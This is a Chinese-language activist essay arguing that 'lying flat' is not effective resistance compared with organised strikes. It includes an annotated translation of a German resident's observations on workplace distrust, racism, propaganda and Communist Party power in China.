但是，这几个群组有一个共同的奇怪现象就是，并没有出现我们此前期待的对话模式—— 没有那种基于深度剖析的思考、辩论、或者基于行动的探讨；也就是说，没有看到那些“在微信不能说的话”在这里出现。人们在延续在微信群组中完全一样的对话模式和信息分享；并且，尤其是，对话反而大幅度降低了，远远低于微信中的互动频率。

请注意，当时 Signal 并没有在中国被封锁。

加密倡导者普遍认为，只有在当人们确认信息传输安全的情况下，才会畅所欲言。我们认同这个道理，但是，在中国，我们没有看到畅所欲言，反而看到了人们似乎更加担心什么而克制了日常习惯的交流自如性。

这与多年来和我们私下“聊家常”的中国朋友描述的诸如办公室政治、工友关系、同学关系等，异曲同工。看起来热络的人际关系，事实上彼此间很可能不够信任，于是就不会有理论上的畅所欲言。这不是加密能解决的问题。

在 Signal 的群组之一中，一位刚进入群组的中国朋友说：“你们都改成微信上用的昵称好不？我需要知道你们谁是谁”…… 这是一个奇怪的要求。因为人们已经知道群组是从微信原样搬过来的，人员组成和微信一样，没有任何陌生人，加之通信是加密的，有原群主控制邀请，那么为什么还需要知道每个人都是谁呢？

最可能的原因是，人们已经习惯了对人说话，而不是对话题发表意见。我们主持的议题也很难形成对话，几乎所有人都在回复上堆句式，无法延展。

在中国封锁 Signal 之后，所有这些实验群组全部结束了。不再有任何人发言—— 并不是翻墙软件问题！因为其中有很多成员在海外定居或留学，并且，人们经常分享来自西方国家企业媒体的文章，那些被中国GFW封锁的内容（虽然从来不会分享独立媒体的内容）。

今年上半年，全世界有多个国家先后加入了抵抗资本主义的行动，他

们的遭遇与中国社会遭受的东西非常相似：高房价，严重的不平等，被还贷压力击垮的“负翁”，学历贬值、毕业即失业，不论如何拼搏都无法获得安全感的打工人和流民，低端人口、没有未来 … 简单说：内卷。

与此同时，跨国发行的期刊呼吁联合中国的反抗者，我们翻译了他们的呼吁《抵抗中国的资本主义：国际联盟的理由》；并且推荐了这本书《对抗新自由主义资本主义的斗争》。这是解决“内卷”问题的最有效方法，而且在中国理论上应该非常有希望，因为2019年香港已经用行动向全世界证实了华人的反抗意愿。

- 如果您错过了《为什么说中国是资本主义国家》

但是，所有这些都被无视了。中国社会选择了“躺平”。

躺平已经流行了一段时间，我们一直在等待，等着看到躺平运动上升到罢工的威胁感，因为只有那些可以给统治阶级制造足够的威胁感的行动，才能出现人们期待的改变。但目前为止并没有。（更多原理见：《威胁感可能比事物本身更有效：战略性直接行动》）

- 关于如何升级的注意事项，见《有策略地升级：不要爱上战术》

人们彼此间的不信任可能是原因之一—— 也许每个人都觉得在网上一起转发和喊口号是有归属感的和热情的，但是，也都同时怀疑其他人明天依然会按时上班 ……

而更重要的原因，必需从中文热词“内卷”的来源说起。中国人所说的内卷是一种感受，就如同在一架跑步机上，你必须拼命奔跑才能保持留在原地；稍微松懈你就会迅速倒退，停止意味着瞬间跌落下来。而躺平就是停止跑步，它只会让您掉下来，它并没有关闭那台跑步机。

躺平不是非暴力不合作。非暴力不合作必需旨在关闭那台跑步机，必需有可以威胁其关闭的能力。（未来我们会详细列举非暴力不合作的行动选项）

- 如果您错过了《“战略网”：鲜为人知的工具—可视化抗议运动能否成功以及为什么失败，包括六四》

那么躺平是否有可能升级到足够大的威胁感？理论上的答案是：有。要做到这点，必需有足够多的人加入“躺平”（不工作、紧衣缩食），

并且需要持续足够长的时间，才能引发让系统停摆的目的。但这不能保证触发变革，也不会保证变革按照反抗者想要的方式出现 —— 除非您可以适时升级（见上文）。

我们先假设这是可以做到的：足够多的人和足够长的时间；那么您用什么来支撑人们坚持下去？本土的社会福利水平如何？社区互助的成熟度如何？是否有食品银行那样的NGO系统可以让没有生活来源的人免费获得食物？

躺平支持者表示 “这是风险最小的反抗行动”。我们同意它风险最小，但它不是行动；行动必需有明确的战略目标、战略步骤、并选取能满足战略目标的战术。由于躺平的号召是源于对内卷的抵抗，那么躺平的战略就应该是停止内卷的那台 “跑步机”。

小基层人民的确可以改变这个世界，但没有任何运动可以没有组织，否则您无法控制走向，具体解释见《先有组织而不是先有运动：Baraza 机制》。召集躺平本身就是一种组织。

假设您能在全国各地成功召集到一百万人躺平，并持续足够长的时间，其事实上也只是每个单位/每个体系有几个、最多几十个人在躺平而已；“跑步机” 继续运转；在内卷制造的如此庞大的失业大军面前，躺平者只会迅速被取代，对内卷的系统没有什么影响。

反过来想，假设全国各地的一百万人持续躺平，他们的维生来源是什么？可持续性在哪里？倡导者如何鼓励人们坚持下去？

顺便说，对于中国的劳动力基数来说，“一百万” 是不够的。

如果您将躺平理解为一种亚文化，它也并不是新生的，中国民间很久以来都有丰富的消极怠工历史，您可以在下面的文章中看到这点。如果您将躺平理解为罢工，那就错了，罢工有尖锐的威胁性，给统治阶级造成的损失按分钟计算加剧，因为它有详细的战术图谱，将所有可能性都纳入其中，以保持其难以被驱散和蒙骗，形成一个相对稳固的杠杆。

将躺平理解为对不满的表达，应该是最准确的。于是它最可能的结果就是，在互联网上成为一个 “热词”。

人们都喜欢在互联网上对一件事表达意见。但是请记得，您的意见本身并不重要，表达意见虽然是有意义的，但除非有效地表达，否则表达意见本身不会改变任何东西。

集体表达的意见，与其他大量赞同您的观点的人一起，更有可能产生变化，但是，这还不足以改变现状。

那么，是什么改变了政策？是什么在可预见的未来改善了生活？是什么在激进的规模上创造了历史？—— 是一场持续的群众运动，大量的群众如此积极地用行动表达意见，以至于统治阶级被迫改变路线，否则，他们会失去权力和特权，被革命推翻。

今年的五一节是劳工阶层反抗压迫的150周年，我们为此制作了两份报告，一份解说五一节的由来《五一节：勇气和抵抗的故事》；另一份汇总今年全球发生的抗议活动和运动《千军万马五一节》。您可以看到，这些反抗者遭受着比中国社会更加残酷的镇压和国家恐怖 —— 其中很多国家用暗杀对付反抗者 —— 但没有人退缩。

「图」

在这里下载这两本书：https://www.patreon.com/posts/zai-si-ren-zheng-47484888

中国工人有很多罢工反抗的历史，中国的野猫式罢工量冠全球，仅仅是最近一两年来有所下降，但小规模的反抗从未间断。因此，我们绝对不会认可宣称 “中国人不会反抗”、或者 “罢工不适合中国人” 的相关判断。虽然我们知道，中国反抗者需要一些专业性的提升，以更好地实现变革目标。

就如老读者所知道的，我们很重视工人运动，因为它是全球资本主义时代的关键斗争之一，我们介绍了战术、防御、安全性、理论和书籍，并提供了很多相关培训资料。如果您想要行动获得预期目的，就肯定用得到这些知识。

「图」

事实上，理论不是我们的工作。因为理论是直接指导行动的，我们肯定不会鼓励您参与我们这样的 “外国人” 指导的具体行动，这不仅是基于中国现实的风险指数问题（见下文抓间谍部分），更重要的是您的自主性问题 —— 您的行动追求的应该是您的民主。但是，您随时都可以和任何一场跨国运动联合起来，基于同一个议题在您的本土采取行动。我们一直在尽可能快地介绍全世界的行动主义。

「图」

我们的内容政策是协助行动者尽可能获得成功，只要您想要成功，在

我们这里您可以找到所有可能的选项；而论述是知识分子应该做的。但在很多问题上，包括躺平论，中国知识分子都没能尽职，要么仅仅声称“无用”，从而蔓延了虚无；要么夸大其有效性，滥用行动主义概念，引发更大的误导 ……

未来我们将继续不断介绍什么才是罢工，什么才是非暴力不合作，这些概念在中国都有着广泛的误解。简单说，您选择的战术必需能满足实现您的战略，如果您的战略是停止内卷问题，您就需要考虑比躺平更有效的战术。

我们相信，任何一种尝试都应该支持，我们*并没有*阻止躺平；而我们想说的是，如果您想要行动起效，就必须以触动整个系统为战略。

那么，为什么是躺平、而不是其他有效的反抗战术，在中国可以迅速流行？这是一个比躺平究竟有没有用，更有趣的问题。您可以在下面这篇文章中寻找答案。这意味着中国的反抗者在未来可以如何更好地策划您的战略。

中国社会普遍不了解行动主义，这不奇怪；行动主义是一门学术——是一套非常系统的知识和技能，任何一场以成功为目的的行动战略都需要足够程度上的专业培训，而中国没有。这就是为什么我们发布了很多培训材料，您可以随时使用它们在您的社区和亲密团队中进行培训，完全免费。

本文旨在全方面分析中国，抛弃一切现有的对中国的偏见和误解，只讲述事实。本文并不是批评，相反，是希望帮助人们在认清全局的情况下寻找答案。

今年前几月内发生的一系列“热点事件”，都凸显了一些明显是异议人士的中国互联网用户知识匮乏、保守和自闭、以及一些离奇的专制人格；中国不仅有政府对人民的专制，还有人民对人民的专制，这是期待联盟中国力量的西方反抗者和致力于协助中国变革的权利组织所没有意料到的。

如果连有影响力的著名异议人士也采取与当权者一样的思维框架，仅仅是方向不同，换汤不换药，我们将难以指望任何真正有意义的变革。

但在黑暗的时刻，必需不断强调那些令人兴奋的事实。我们在国际上遇到的来自中国的声音和研究合作者，都非常值得钦佩，同时，他们在中国国内几乎不为人知；我们的读者中也有很出色的技术人士，具

备清晰的判断力和分析能力，虽然他们都不是“著名人士”。这就是为什么我们一直在拒绝使用“中国人都”、“中国技术圈都”这样的句式，我们看到了完全不同的代表性案例。这篇文章的作者对此也很诚实，他首先就指出“不主张本文对中国社会的观察具有普遍的有效性”。但是，“不普遍”并不意味着不存在，相反，是很多的相关存在，以至于中国至今没能形成挑战现有体制的反抗行动。

我们一直在致力于国际联合，就如这位德国朋友所认为的那样——我们也认为这是理所当然的。我们将全世界的反抗精神、战略智慧和行动技巧介绍给中国读者，希望能提高中国反抗者的专业性。但目前为止，可见的进展是非常非常缓慢的，在大的范围上，人们不仅缺乏国际联合精神，就连国内联合也非常困难。我们多年前的观察“一个地方在抗议，其他所有人围观，然后此地的抗议由于规模严重局限而迅速被镇压”这种现象，至今都没有改变。这篇文章的作者指出了非常有可能的根本性原因。

也正如这位作者所言，不论是国际权利组织还是反抗力量联盟，都应该更加准确地了解中国内部，以纠正当前那些不起作用的对中国战略。

这篇文章是由一位在中国生活了很多年的德国人撰写的，原文是德语，您可以在这里看到。

中国读者可以根据您自己的观察对其进行分析和补充。

文章将以第一人称陈述。

我们添加了很多【注】，以根据我们的了解纠正和补充其内容。

「图」

“内卷”这个词由“inside”和“roll”或“to roll”组成，直观地理解为类似“向内转”的意思。它可以被翻译为“退缩”或“involution”。它意味着由于失去摩擦力而停滞不前或瘀滞，或者是一个束缚其参与者而无法使他们受益的过程。内卷也意味着与进化相反。

内卷这个词现在在中国很时髦，就像几年前的丧文化，或者目前的（浑水）摸鱼。“内卷”最初是用来描述农业社会中阻碍其进步的自我强化过程，现在已成为大都市中国人用来描述其现代生活弊病的术语，描述他们在一个竞争激烈的社会中疯狂地踩水的感觉 —— 激烈的竞争，成功的机会很低，无论是在高中考试、工作或者婚恋市场

上，还是在疯狂加班时（原文如此，婚恋居然是个市场！我觉得这里发生的交易肯定不是爱情）。每个人都害怕错过最后一班车 —— 但又知道它已经离开了。

约翰内斯·阿格诺利用内卷的概念来描述“民主国家、政党、理论倒退到前民主或反民主的形式”。

「图」

前言

「图」

2010年的罢工潮和反对工厂倒闭的斗争似乎已经过去很久了。在过去的几年里，《中国劳工通讯》记录了劳工斗争的明显下降，在2020年达到低点。

虽然依旧有建筑工人、包裹递送工人、食品递送工人的抗议，还有一些人反对工厂关闭，但相对于收入的急剧下降、裁员、普遍的工资拖欠，以及疫情封锁的严厉和不合理，这些抗议仍然是非常温和的。

在政治上，中国共产党能够巧妙地利用疫情，大众对第一次封锁时的大规模批评此后已经平息。很多人从根本上支持和维护政府和公众人物免受批评；甚至许多所谓的左翼和“批判性思想家”最终都认为，国家或国家代表的做法实际上是好意。

【注：原文如此。但据我们了解，中国真正的左翼极少极少，从当局到知名的民间异议，都是保守派、最多是不充分的自由派。同时，这段话也足够显示出一个长期问题，即 我们一直在说的，中国异议人士的自闭和被当局收买的伪知识分子的高度活跃相结合，其结果就是，前者普遍被看不到。】

但是，将威权结构解释为“洗脑”或儒家思想等东亚特色的结果，是完全错误的。【关于这点的相关内容见《对抗监视资本主义的斗争可以从美国开始吗？- 在国会暴动后重读爱德华·萨义德的“东方主义”》】

中国政府为什么没有利用特朗普治下的混乱局面来建立新的联盟提高自己的国际地位？为什么它通过吞并香港、扩大新疆的强迫劳动和再教育营、强制关闭边境、煽动民族主义和与印度的边境小规模冲突、与澳大利亚发起贸易战，以及绑架和其他形式的兰博式外交，反而取

得了相反的效果？

国家升级的意愿是为了在中国内部形成封锁，在那里，中国的日益繁荣和中共的持续统治不再是并行的。2000年代的罢工表明，工业化的发展也会导致工人权力的增加。

资本主义工业化国家的发展阶段通常被称为“福特主义”，先是通过不断增长的私人消费和工会权利，设法使阶级斗争成为发展的动力 ——直到1969年以后的工人反抗使资本主义积累陷入危机。中国共产党研究了这一背景和苏联的消亡，决心避免这一命运。这就是为什么这个体制转向了专制统治。

按照中国的习惯认识，这一转变是在“最高领导人”习近平上台后以派系斗争的形式发生的。从那时起，国家经济政策就试图在避免增加工人阶级可支配收入的情况下刺激经济。这加剧了社会不平等，巩固了“社会大分化”。中国正陷入‘中等收入陷阱’，正是因为阶级抗争作为一种变革力量被成功压制了。中国不会把世界经济从危机中拉出来 —— 而是恰恰相反。

目前，中国共产党似乎稳操胜券，但时间对其不利。这正是它助长民族主义和外交政策冒险主义的原因。

那么，国际团结如何才能可行？怎样才能在当前阶段生存下来，并且不与主要的地缘政治对手之一站在一起，而是坚持进步的观点？为了找到答案，国际反抗联盟必须停止通过反帝和文化主义的视角看问题，而是要把目光投向中国的阶级社会。

【注：文化主义是指将文化作为人类事务中的组织力量的中心地位。它也被描述为一种本体论方法，旨在消除看似相反的自然和文化现象之间的简单二元性。

但是，这里的“停止反帝”指的是，停止将中国视为帝国，这点上不符合我们的观察。但是其他方面都与我们的观察一致。】

「图」

我自己的情况

「图」

在我居住的中国华南地区，冠状病毒危机让我更多地看到了矛盾；它

提出了问题，导致冲突爆发。自从2020年1月武汉封锁以来，我不得不反复重新思考我对周围世界的政治观点。这包括许多情绪，我现在发现这些情绪很难从普遍的观察中保留下来。因此，我将从我个人的观察开始。我不主张它们具有普遍的有效性。

一开始，我在中国的朋友把 Covid-19 比作2003年的SARS疫情，在中国和香港，每个病例的死亡率都接近百分之十。当局最初的掩饰、普遍的不确定性和信息的缺乏造成了剩下的问题。

和这里的大多数人一样，我非常害怕，几乎不敢离开家。在最初的几周里，网上有很多对中国共产党和政府的激烈异议和批评。这使我感到更加乐观，认为如果没有异议，谎言和公然的禁闭措施是不会被接受的。

但是，疫情越是成为全球的大流行，在中国出现的批评声音就越小，越安静。这不仅仅是源于审查制度和中国国内控制疾病的相对成功，而且，还基于阴谋论思想的广泛传播，即美国军队、意大利、印度或冷冻肉是管状病毒的原始来源。

我去中国并不是为了一份有利可图的外派工作，也不是作为一名学者享受奢华的津贴。我是自己来的，存了点钱，所以一开始不用工作，有时间学习中文，想了解中国的生活、社会和工人阶级的现实。中国崛起成为世界的工作台，代表了近几十年来最具影响力的变化之一，我想近距离地看到这一点并建立联系。

一开始，我不仅花了很多时间学习人物，而且还花了很多时间认识和摒弃无意识的偏见。我的指导原则是，与我成长的文化不同的文化并不是来自任何固有的“他者”，而是地理上的距离以及随之而来的缺乏社会交流的结果。

与西方普遍认为中国工人是被动的、默许的、主要是受害者的想法相比，对我来说最突出的是与欧洲相比，中国工人的冲突和野猫式罢工、不服从和日常无政府主义的比例很高。虽然当时我认为富士康工厂的“iSlave”形象将工人过多地描绘成了受害者，但我还是参加了在中国从肮脏和危险的剥削压迫中获利的国际公司办公室门前的象征性抗议活动。

国际社会对中国工人及其斗争的声援对我来说似乎是自然的 —— 尽管我从未与他们谈过这个问题。即使在那时，在2010年代初，即使是一个讲流利中文的外国人，也几乎不可能在罢工期间与中国工人交谈。在此期间，镇压、流行病和仇外心理进一步减少了我与中国工人

接触的机会。一两年前，我能够定期访问劳工非政府组织，每周在工人阶级社区教一次英语，并在街上与卡车司机或仓库工人更容易地交谈。

当时，我想知道国际团结会是什么样子，但当时我认为这是理所当然的，是重要的，是被需要的。而近年来，我不得不意识到，这要难得多—— 你通常会先遇到错误的人；而你投射到别人身上的希望和愿望往往是迷宫的入口。自从我遇到民族主义、沙文主义、仇外心理，以及缺乏批评和抵制之后，我对国际团结项目的可能性和有用性产生了根本性的怀疑，这些项目不考虑他们使用的方法和他们工作的对象。

- 如果您错过了《抵抗中国的资本主义：国际联盟的理由》

「图」

我的工作场所：竞争引发集体自闭

「图」

我已经在一家国际IT公司工作了好几年。这份工作的一个好处是，与几乎所有的中国IT公司不同，很少有加班的情况。我的同事都是中国人 —— 除了一个住在另一个城市的法国人。他们属于城市中产阶级，但很多人没有本地户口。

作为一个外国人，我没有什么特殊的角色，我的雇佣合同和我的职责与我的中国同事相同。没有语言障碍，因为基本上所有事都是用中文讨论的，我现在可以说得相当流利。

在中国团队领导中，对印度同事的种族主义偏见和贬低言论很常见。对我来说，同样令人不安的是，我在同事之间找不到丝毫团结的动向。每个人都跟着老板的调子跳舞，没有人提出批评，更不用说拒绝了，工作会议上也没有任何讨论。抵抗充其量是无声地表达：当老板不注意时，人们会放慢速度。

但每个人都是孤立的。大多数人甚至不会想到向他们的工友眨眨眼以示声援。即使在非正式的私下谈话中，批评的态度也几乎从未被暗示过—— 至少对我来说是这样。

与此相反，我经常看到团队领导和经理的异议、意见表达和防御性的态度。如果老板提出了现代化的方案，下级经理就会磨磨蹭蹭，推三

阻四，他们会淡化这些方案，并提出解释，说明它们为什么不合适。他们擅长推卸责任。这些机制是非常明显的。

我的法国同事说，他已经15年没有在任何其他国家经历过这样的“幼稚”了。通过这种（相当成功的）对现代化的防御 —— 甚至是对可以减少他们自己工作压力的变化的防御 —— 团队领导和下级管理人员捍卫他们的特权和指挥权，常常带着一丝傲慢，并通过互相攻击。为了提高自己的地位，知识被垄断了。所有这些都为部门主管形成了一堵几乎不可逾越的围墙。

不幸的是，处于底层的同事们似乎对自己很没有信心，几乎从不提出关切或反对意见。他们对工作安排的问题漠不关心。每次得到一个重要的信息，甚至是批准两三天的假期，似乎都是一种仁慈的行为!

【注：关于竞争造成的撕裂，不仅发生在工作场所，而是发生在整个社会！我们多年前有过一些笼统的分析《百忧解时代（一）变质的竞争和时代性焦虑》】

「图」

就像在课堂上的管理

「图」

在过去的几个月里，网上零售商拼多多发生了两起与过劳和加班有关的死亡事件，使关于996（每周6天从上午9点到晚上9点工作）和无薪加班的争论重新开始。

- 如果您错过了《时间就是基本人权，是自由理念的重要战场（*996*不止是辛劳）》

当我问到，如果每个人都在抱怨加班的压力，为什么集体抵抗力度还是这么低时，一位朋友回答说，这是因为人们之间缺乏信任。

- 关于信任问题，推荐这本书《斯诺登的盒子：在监视时代的信任》，以及相关分析《为什么我们互不信任？》

这位朋友她自己在过去几年中曾在五家不同的公司担任平面设计师，在任何地方都没有持续超过一年的时间。她说，每到一个地方都是这样，老板们都急于让员工们彼此间互相不信任。只要她和办公室的同事成为朋友，并且能够很好地合作，老板们就会产生怀疑，并将她尽

可能地分开。“就像学校里那样！”

对老板来说，控制人比生产力更重要。因为如果他失去了控制，他的权威就会受到影响；而另一方面，员工的低生产率只会导致员工加班和低工资，而不是影响到老板。

另一个熟人的朋友曾在拼多多工作过，他解释说，拼多多的高起薪让人们愿意每月工作300小时以上。年轻的大学毕业生试图在几年内疯狂加班，希望能攒钱买房。他们中的大多数人实际上在一年、两年或三年后就会离开。

他说，同事之间有很多不信任，每个人都担心如果自己提出建议让大家一起拒绝加班，就会立即被其他同事告发。

我的问题得到了其他人的理解 —— 同时也被看作是我作为一个“局外人”的表现，因为在这种跑步机式的工作场所内部，显然没有人想过作为领导者组织一个团队拒绝加班。

针对个别形式的工作缓慢或其他不受欢迎的行为，学校，像工厂和办公室一样，现在都在使用各种监测技术，如面部识别、带有传感器的座垫等，自动检测（并惩罚）所谓的“不当行为”，如做白日梦、在桌子上休息、或上厕所时间长了几秒钟。这就为扣减工资提供了理由，并训练了人们面向避免错误、批评、特别是惩罚的行为模式。

每个人都保持沉默，也没有人积极站出来提出新的想法和解决方案。在这里，指出别人的知识差距和小错误与标志着优越感和权威有关，其程度是我以前所不习惯的 —— 不幸的是，这在男性中极其普遍。

【注：这在中文网络上也非常明显，中文称之为“智商优越感”，它是一种“感觉”，而不是现实，它导致了人们之间的交流无法真正成为交流，因为所有人都在追求自己的“智商优越感”，而拒绝倾听。】

只要老板们坚持剥削绝对剩余价值，即 坚持长工时，同事们就会继续磨蹭，为现代化踩刹车。

如果个别老板不再坚持漫长的工作日和苛刻的最后期限，那么每个人都会感到受到鼓励，更加放慢速度。在这种情况下，我很难想象老板们会推动生产力的大幅提高，也很难想象同事们会集体强制缩短长工作日。团队怎么能集体意识到，老板依赖我们，而我们基本上已经拥有实施工作的所有知识，因此可以影响工作的安排和期限的设定？

这些例子都涉及受过良好教育的办公室工作人员。两年前，我还希望

996投诉能促进对这里的工作文化进行反思，因为IT人员有某些可以利用的杠杆。但这个筹码并不是他们的技术培训，也不是他们在生产链中的位置 —— 这个筹码只能通过一起反抗才能团结起来；作为个人，他们就像流水线上的工人一样可以互换。但是，当工人们成功地进行了一系列的罢工时，IT公司人员却根本没有完成任何事！

「图」

日常生活中的种族主义

「图」

我已经数不清我自己遇到过多少种族主义了。有好几次，作为一个外国人，我被拒绝进入社区和乘坐交通工具，有人告诉我，外国人不能负责任地处理这场大流行病，外国人不讲道理，不戴口罩。我的酒店预订在最后一刻被取消，我被吼叫和威胁，有人当面告诉我，入境的外国人，而不是返回的中国人，会携带病毒，等等。

从最初对我这个欧洲白人的特别关注，在下一刻就会变成拒绝和歧视。刚刚称赞我的中国人转眼间就可以采用种族貌相，用模糊的借口赶走 “外国人” —— 例如，因为他作为守门人有 “权力和责任” 。

在中国绝大多数人眼里，种族定性是理所当然的，例如阿里巴巴的面部识别软件就内置了种族定性。电视上的种族主义描写几乎是常态。

朋友们在网上发表了我的一篇关于中国人的种族歧视的小帖子，在我亲密的熟人圈子里得到了关注和认可。而在这个狭窄的圈子之外，我要么遇到否认（认为我只是误解了什么），要么遇到什么主义（在其他国家也会有种族主义），要么被告知中国人之间的关系甚至比他们对外国人的态度还糟糕。

事实上，对皮肤稍黑的中国人或来自该国贫困地区的中国人的歧视是很普遍的。

例如，建筑工人，从远处就可以看到他们粗壮的身材和被晒伤的皮肤，因为他们从事建筑工作，来自该国贫穷的和营养不良的地区。他们建起了价值数百万美元的住宅和办公大楼 —— 收入却不比最低工资高多少。他们的工作团队被关在集装箱里，与城市社会没有任何联系。他们的工作日很长，几乎没有休息日，在用来居住的大集装箱前的水桶里用手洗衣服。即使在病毒大流行期间，当大多数酒店都空了的时候，他们甚至连最便宜的酒店房间都支付不起。

【注：这里的集装箱，大概指的是建筑工地的工人使用的移动房屋。】

与中国本土建筑工人的污名化和被排斥相比，我自己遇到的仇外心理几乎是小事一桩了。

人们用来将问题相对化的这三种典型的辩护方式都显示出缺乏对种族主义的对抗和普世价值观的缺失。在美国和其他地方，人们上街反对种族主义；在中国，“左翼”（必需带引号）学生在2020年4月拍摄了一部关于广州的黑人被房东和当局驱逐的纪录片，影片最后却影射非中国人应该更好地理解中国文化和语言 ……

【注：这部纪录片是《 Africans in Guangzhou: misunderstanding, discrimination, and communication》。但是我们的观察认为，中国有真正的左翼学生，该纪录片的错误结论并不代表持有进步观点的中国左翼年轻人 —— 虽然他们的人数非常非常少。】

「图」

三个日常观察

「图」

2017年，咖啡馆里的非正式电影放映和讨论都有主持人，但做主持人的人相当坦然和放松，似乎没有什么特别的使命感。今天，主持人的行为就像专制的乡村教师似的，他们“解释”一部他们并不比在场的任何人更了解的电影。

他们进行道德说教，不允许自由讨论，而是对会场上的每一个发言进行评论。越来越多的专制主义甚至没有停止在小型的、准私人的、和所谓的“左翼”的圈子里。

12月，身穿制服的官员在主要火车站和地铁里系统地强迫乘客安装一个“反对网上欺诈”的手机应用程序，而没有给出任何解释。在手机上安装这样的间谍软件，可以了解到用户的全部生活情况，相当于警察的十小时审讯。但是，我却没能观察到中国人任何抗议或愤怒。

「图」

【注：他说中国人对此没有反抗，这是真的；但说中国人“没有愤怒”，我们认为不实，至少我们看到了来自中国的恐慌和互相之间的

安全技术建议，尤其是，中国的开发者制作了一个假的“反诈应用程序”，以便可以在被当局强行安装的情况下蒙混过关。这也许就是人人孤立的中国社会的反抗形式 —— 一个人能做的最好的反抗了。再一次，没有能联合起来。恐慌和无助是每个人独自吞咽的苦果。】

一个有大学学历的熟人，在一个环保非政府组织工作了一段时间，无意中怀孕了，决定生下一个孩子并结婚。从那时起，她就和公婆一起住在一个约有一百万人口的城市里，并且现在已经有了第二个孩子。她的丈夫在一个1小时车程以外的地方工作，每隔一两个星期才来看她一次。她不能和他一起住，因为他有一个八岁的妹妹，抚养孩子的责任基本上都交给了她。做饭时，她婆婆在电话里给儿媳妇提供细微的烹饪指导。

婚姻仍然起到了占有女性劳动力的作用。通过婚姻，女人成为了男人家庭的一部分，并服从婆婆的指挥。

企业、行政管理和亲属关系中的社会等级仍然强烈地建立在资历原则的基础上，并以任人唯亲、知识垄断和各种荣誉作为点缀。领导们以他们能向多少人发号施令来衡量他们的权力和地位。在什么情况下，年轻和高素质的中国人才能决定违背等级制度？他们又是在什么时候遵守的呢？

宣传工作如何进行

「图」

除了企业文化之外，国家宣传也在产生影响。中国共产党基本上宣传的都是中国的特殊性。中国式的所谓社会主义、中国文化、中医药、华夏历史、中国食品、中国法治，等等等等。一切都融化在“中国是特殊的”公式中。因此，非中国人不能评判中国，非中国人的价值观不能适用于中国（但其他国家却很应该“向中国学习”！）。所有所谓的左翼和右翼、毛主义者和民族主义者都反对的帝国主义被定义为“白人的帝国主义”；无论中国在中亚、非洲或其他地方如何行动，中国本身都不能被视为“帝国主义”。

【注：这是中国最荒唐的一点。虽然自古以来任何行帝国之所为的国家都在努力拒绝帝国的定义，在这里看到《中国的银河帝国，和高堡奇人》，但是，中国特殊论的危害远非北京政府的宣传这么简单，它已经危害到绝大多数中国异议人士 —— 这些理论上应该“最有希望”的人们持有和北京当局一致的“特殊论”腔调，虽然他们反对政府所声称的东西，但是，他们构建了一种更可怕的中国特殊论，拒绝跨国

联合、拒绝学习其他国家反抗者的经验，让中国成为了彻底的孤岛，蔓延了虚无。】

「图」

对西方的双标指责是正确的；但是，一旦我们把它放在中共拒绝普世价值因为它是“西方”的背景下看，它就变得很荒谬了。因为，按照中国共产党的说法，根本不可能存在统一的道德（在维基百科搜索“Document Number Nine”）。

习近平时代的中国“社会主义”的十二个核心价值观包括“民主、自由和法治”（法治，但没有分权，所以是依法治国）。

许多人认为，中国是民主的。在试图解除来自国外的民主宣传时，这可能是有帮助的，但是，它很容易受到攻击。四年前在我的中文课上，当老师声称中国是民主的时候，大家都笑了。

【注：民主不等于自决。中国人对民主的认识存在非常多的错误和肤浅。这篇文章详细解释了为什么《从民主到自由》】

中共最大的宣传成功并不是将历史事件从集体记忆中“抹去”，例如文化大革命和天安门大屠杀，而是它成功导致大多数年轻人已经失去了好奇心。

- 在这里看到，关于文革《在中国：意识形态的爆炸点》（即将发布）；在这里看到，关于六四《“战略网”：鲜为人知的工具—可视化抗议运动能否成功以及为什么失败，包括六四》

即使是那些可以使用**VPN**（虚拟私人网络）翻墙的人，也没有什么好奇心去了解自己实际上被剥夺了什么。

《政治行为》杂志最近的一项研究很好地解释了这背后的社会机制：人们知道一切都在按照官方的宣传进行审查和精简，中国人自己并不相信那些愚蠢的东西，但是，他们却认为他们的同伴相信这些。宣传之所以有效，是因为个人会闭口不谈，以避免陷入火坑 —— 人们彼此间不知道对方真的怎么想，为了获得智商优越感，最简单的方法就是把所有对方都想象成信任宣传的“傻逼”。

【注：政治行为杂志的研究来自今年初的期刊，题为“Propaganda, Presumed Influence, and Collective Protest”】

「图」

党的权力

「图」

中华人民共和国被描述为一个“隐秘的民主”，这是因为主要决策者和他们的内部冲突仍然不为人知。一个由极其强大和富有的寡头家族组成的圈子，通常像习近平的“太子党”（旧势力的后代）掌握着权力。他们的权力建立在军队（习近平最重要的头衔是军委主席）、党和国家的官僚机构、维稳机构、国有企业、共青团（胡锦涛的权力中心）和非正式的权力中心 —— 如上海帮（江泽民的权力中心）之上。

所有大型和许多中型私营企业都直接或间接地陷入了党、国家、银行和国有企业的权力精英的关系网中。11月初，在最后一刻，该政权停止了阿里巴巴的银行部门蚂蚁金服在股票市场的首次公开募股（IPO）。蚂蚁金服通过经纪消费者贷款而不受银行监管，已经上升为全球最大的货币银行。由于这种在线贷款现在占GDP的20%左右，必须通过更严格的监管来控制风险，并对科技公司进行直接的约束。

随着事态的发展，事实证明，习近平在权力机构中的对手也会从这一**IPO**中受益 —— 经济政策也继续为派系斗争服务，或者反之亦然。

然而，国家和国家行政部门并不是铁板一块。上级主管部门确定方向，而下级主管部门必须将事情付诸实施，并且在决策和解释方面有相对较大的回旋余地。他们的评价标准是KPI（关键绩效指标），如GDP增长。因此，地方和省级政府倾向于在短期内实现预先确定的关键绩效指标，而忽视了可持续性发展，因为它们“不太引人注目”。

大部分的税收都流向了中央政府，而地方政府缺乏收入来源。他们将公有土地私有化，并从影子银行借款，将资金注入地方经济，以达到为他们设定的目标。在这样做的时候，他们往往忽略了中央政府规定的环境条例。另一方面，最低工资是由城市政府在当地制定的 ....。

【注：关于中国对环境的破坏，在这里看到一份新的研究《自杀式繁荣》】

在教育和职业学校方面，情况也很相似：中央政府希望提高工人的教育水平，但却没有为地方政府提供足够的职业学校资金。后者伪造学校报告，将工作外包给私人机构（导致教学质量低下），并在培训的第三年将学生出租给富士康或其他公司！

2021年7月1日，中共中国正式庆祝其百年诞辰。它的代表无处不

在，遍及社会的每一个毛孔。每个国有企业和所有大型和许多小型私营企业—— 包括外资企业—— 都有党委或党工会代表。每所大学、每所学校都有党委，每个学生都有一个政治监督员，负责惩罚所谓的“不恰当的行为”。所有的街道和住宅区都是一个网格的一部分，每个网格都有一个负责人，向党的官僚机构报告。

